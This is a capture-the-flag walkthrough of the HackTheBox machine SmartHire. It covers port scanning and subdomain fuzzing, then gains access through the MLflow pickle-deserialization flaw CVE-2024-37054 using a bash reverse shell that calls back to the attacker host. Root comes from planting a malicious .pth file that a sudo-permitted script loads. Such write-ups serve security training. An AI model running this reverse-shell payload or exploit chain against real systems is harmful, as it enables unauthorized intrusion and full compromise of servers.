Skip to content

SmartHire Writeup - HackTheBox

Medium Linux

Created May 16, 2026 • Last updated October 11, 2026 • 1 min read

1. Reconnaissance

Fast TCP Port Scan

Start with a fast scan to identify open ports quickly.

┌──(kali㉿kali)-[~]
└─$ nmap -T5 --open <Target_Ip>
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-17 00:13 +0500
Nmap scan report for smarthire.htb (10.129.26.203)
Host is up (0.21s latency).
Not shown: 991 closed tcp ports (reset), 7 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.05 seconds

Service & Version Detection

Run a detailed scan with service detection and default scripts against the open ports.

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -p22,80 <Target_Ip>
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-17 00:15 +0500
Nmap scan report for smarthire.htb (<Target_Ip>)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
|_  256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Overview | SmartHIRE
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add Hostname to /etc/hosts

┌──(kali㉿kali)-[~]
└─$ echo "<Target_Ip> smarthire.htb" | sudo tee -a /etc/hosts
<Target_Ip> smarthire.htb

2. Enumeration

Subdomain Fuzzing

Fuzz for hidden subdomains using ffuf.

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://FUZZ.smarthire.htb/ -H "Host: FUZZ.smarthire.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.smarthire.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.smarthire.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

models                  [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 213ms]
:: Progress: [4989/4989] :: Job [1/1] :: 45 req/sec :: Duration: [0:00:17] :: Errors: 4988 ::

A subdomain models is discovered. Add it to /etc/hosts.

┌──(kali㉿kali)-[~]
└─$ echo "<Target_Ip> models.smarthire.htb" | sudo tee -a /etc/hosts
<Target_Ip> models.smarthire.htb

3. Initial Access , CVE-2024-37054 (MLflow RCE)

Navigate to http://smarthire.htb/, click signup, and create an account.

Step 1: Login to SmartHire

┌──(kali㉿kali)-[~]
└─$ curl -s -c cookies.txt -b cookies.txt -X POST http://smarthire.htb/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=ben&password=12345678" > /dev/null

Step 2: Generate malicious pickle

┌──(kali㉿kali)-[~]
└─$ python3 -c "
import pickle, os
class S:
def __reduce__(self):
return (os.system, ('bash -c \"bash -i >& /dev/tcp/<tun0_ip>/4444 0>&1\"\',))
open('evil.pkl','wb').write(pickle.dumps(S()))
print('done')
"

Step 3: Create train.csv

Before uploading, create the train.csv file with the following content:

Command:

┌──(kali㉿kali)-[~]
└─$ cat <<EOF > train.csv
┌──(kali㉿kali)-[~]
└─$ name,skills,experience,education,position_applied,previous_company
┌──(kali㉿kali)-[~]
└─$ Alice,Python,48,Masters,Eng,Corp
┌──(kali㉿kali)-[~]
└─$ Bob,Java,72,Bachelors,Dev,Inc
┌──(kali㉿kali)-[~]
└─$ EOF

Step 4: Upload training CSV to register new model version

┌──(kali㉿kali)-[~]
└─$ curl -s -b cookies.txt -X POST http://smarthire.htb/upload_hiring_data \
-F "file=@train.csv"
{"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1778966750869,"description":"No description","version":"4"},"registered_model":"benslates-984cec44e985-model","status":"success"}

Step 5: Fetch run_id from MLflow API

┌──(kali㉿kali)-[~]
└─$ curl -s -u admin:password -X POST http://models.smarthire.htb/api/2.0/mlflow/runs/search \
-H "Content-Type: application/json" \
-d '{"experiment_ids": ["0"], "max_results": 1}' | jq -r '.runs[0].info.run_id'
1b657efe71844222b87865544906197c

Step 6: Overwrite python_model.pkl with malicious pickle

Replace <run_id> with the ID obtained in the previous step.

┌──(kali㉿kali)-[~]
└─$ curl -s -u admin:password -X PUT http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/<run_id>/artifacts/model/python_model.pkl \
--data-binary @evil.pkl \
-H "Content-Type: application/octet-stream"

Step 7: Trigger prediction and catch shell

Terminal 1 , Netcat listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444

Terminal 2 , Trigger prediction:

┌──(kali㉿kali)-[~]
└─$ curl -s -b cookies.txt -X POST http://smarthire.htb/predict \
-F "file=@pred.csv"

Netcat Listener Output:

listening on [any] 4444 ...
connect to [<tun0_ip>] from (UNKNOWN) [<Target_Ip>] 50450
bash: cannot set terminal process group (1022): Inappropriate ioctl for device
bash: no job control in this shell
svcweb@smarthire:/var/www/smarthire.htb$ 

5. Privilege Escalation , Python .pth Abuse

Check Sudo Permissions

┌──(kali㉿kali)-[~]
└─$ sudo -l
User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

Inspect the Script Source Code

┌──(kali㉿kali)-[~]
└─$ cat /opt/tools/mlflow_ctl/mlflowctl.py
#!/usr/bin/env python3

from pathlib import Path
import sys
import site

BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

# make plugins importable
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))

def print_usage():
    print("Usage: mlflowctl.py [status|backup-models|restart]")
    sys.exit(1)

def main():
    import mlflow_actions, backup_models

    if len(sys.argv) < 2:
        print_usage()

    action = sys.argv[1]

    if action == "status":
        mlflow_actions.check_status()
    elif action == "backup-models":
        print("[*] Running backup via backup_models plugin...")
        backup_models.run()
    elif action == "restart":
        mlflow_actions.restart()
    else:
        print(f"[!] Unknown action: {action}")
        print_usage()

if __name__ == "__main__":
    main()

Inspect Writable Plugins Directory

The script imports plugins from /opt/tools/mlflow_ctl/plugins/.

┌──(kali㉿kali)-[~]
└─$ ls -la /opt/tools/mlflow_ctl/plugins/
drwxr-xr-x 4 root root 4096 Feb 19 18:10 .
drwxr-xr-x 3 root root 4096 Feb 19 18:16 ..
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev

The dev directory is writable by the devs group, which svcweb belongs to.

Trigger Root Shell

┌──(kali㉿kali)-[~]
└─$ echo 'import os; os.system("/bin/bash -p")' > /opt/tools/mlflow_ctl/plugins/dev/evil.pth
┌──(kali㉿kali)-[~]
└─$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
root@smarthire:/# id
uid=0(root) gid=0(root) groups=0(root)